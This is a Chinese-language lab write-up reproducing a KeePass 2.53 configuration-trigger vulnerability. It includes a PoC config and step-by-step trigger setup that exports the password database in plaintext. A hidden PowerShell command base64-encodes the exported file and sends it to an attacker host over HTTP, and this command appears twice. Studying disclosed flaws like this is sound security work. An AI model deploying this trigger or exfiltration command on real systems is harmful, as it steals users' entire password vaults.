目录
漏洞概述
漏洞复现
复现攻击
用poc修改配置文件
手工创建触发器
攻击复现
KeePass 是一款免费的开源密码管理器,可帮助您以安全的方式管理您的密码。您可以将所有密码存储在一个数据库中,该数据库由一把万能钥匙锁定。因此,您只需记住一个主密钥即可解锁整个数据库。数据库文件使用目前已知的最佳和最安全的加密算法(AES-256、ChaCha20 和 Twofish)进行加密。
KeePass采用本地数据库的方式保存用户密码,并允许用户通过主密码对数据库加密。对 KeePass 配置文件具有写入权限的攻击者能够利用漏洞在用户毫不知情的情况下,通过修改配置文件并注入恶意触发器,例如通过添加导出触发器来获取明文密码,以纯文本形式导出用户的整个密码数据库
漏洞影响范围
供应商:KeePass
产品:KeePass Password Safe 2
确认受影响版本:KeePass 2.53版本
修复版本:KeePass 2.53.1版本
环境搭建
KeePass数据库下载链接:
https://sourceforge.net/projects/keepass/
直接下载安装:
默认安装路径:
原版是纯英文的,要先汉化一下,汉化包下载链接:
https://keepass.info/translations.html
汉化用文件:
打开keepass,点视角--语言
切换到 KeePass,单击 'View' → 'Change Language',然后选择语言。重新启动 KeePass。
汉化成功。
建立新数据库:
文件默认命名为 数据库..kdbx
输入密钥,随便写个
会弹出警示弱密码窗口,点 是
数据库名可以先不写,用户名我用的admin
创建一个触发器,在密码数据库存在交互时进行明文传输。触发器创建主要细分为两步骤:
(1)POC写入配置文件
将编写好的POC代码写入KeePass.config.xml(配置文件),须符合触发器XML格式。(将poc中数据库的导出路径和攻击者的接收路径更改一下后,直接覆盖原KeePass.config.xml配置文件位置即可)
配置文件路径为KeePass的安装目录:
将更改后的KeePass.config.xml(poc)文件直接粘贴覆盖到安装目录里,然后我关闭了当前的KeePass,并以管理员身份重新进入KeePass(不以管理员身份打开的话,后期保存操作会报错):
其中
再利用powershell以GET方式传输数据库中密码文件。
POC:
lztpSRd56EuYtwwqntH7TQ==
exploit
s6j9/ngTSmqcXdW6hDqbjg==
0
D5prW87VRr65NO2xP5RIIg==
c:\Users\???\AppData\Local\Temp\exploit.xml
KeePass XML (2.x)
2uX4OwcwTBOe7y66y27kxw==
PowerShell.exe
-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\???\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.XXX.XXX:8888/$var -Method GET
False
1
需要更改的是这两个地方:
保存KeePass.config.xml文件,触发器功能查看exploit触发器。
(2)通过触发器功能手工创建触发器(我用的这个方法)
以官方触发器构成为参考:
https://keepass.info/help/kb/trigger_examples.html
配置exploit触发器过程如下:
点工具---触发器
点添加
1、属性项:命名为exploit,其余默认配置
2、事件项:选择“已保存数据库文件(Saved database file)”,判断条件选“相等(Equals)”
添加成功后显示如下:
3、条件项:不做更改,略过
4、动作项:
注意:动作项的内容需要和poc中配置文件字段一样!!
(1)导出当前数据库
文件路径为上述文件传输路径
c:\Users\xxx\AppData\Local\Temp\exploit.xml
文件格式选择 KeePass XML (2.x)
对应配置文件处:
c:\Users\123\AppData\Local\Temp\exploit.xml
(2)执行命令行/URL
文件路径为PowerShell.exe,使触发器执行PowerShell
参数选择攻击接收的路径
窗口方式选择隐藏(Hidden)
对应的配置文件位置在这里:
-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\123\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.203.144:8888/$var -Method GET
都添加完成后是这样的:
点完成后,就要打开攻击机进行接收监控了。
打开攻击机(我用的kali),开启web服务,监听对应的8888端口,用于接收传输后的密码明文:
回到靶机,通过操作数据库并保存记录(如在KeePass中新建一条密码记录并保存),就可触发攻击。
添加记录:
标题用户名密码随便写
点确定后,按Ctrl+S快捷键保存,此时去看攻击机(kali)上会有bash64数据显示:
中间这些是踩坑失败的,自动忽略哈~
解码后可以看到攻击机终端已接收到的明文信息:
在靶机的temp目录中也可看到poc生成的数据库备份文件:
参考
https://baijiahao.baidu.com/s?id=1758335573505798975&wfr=spider&for=pc
https://blog.csdn.net/Fiverya/article/details/128833228
声明
严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !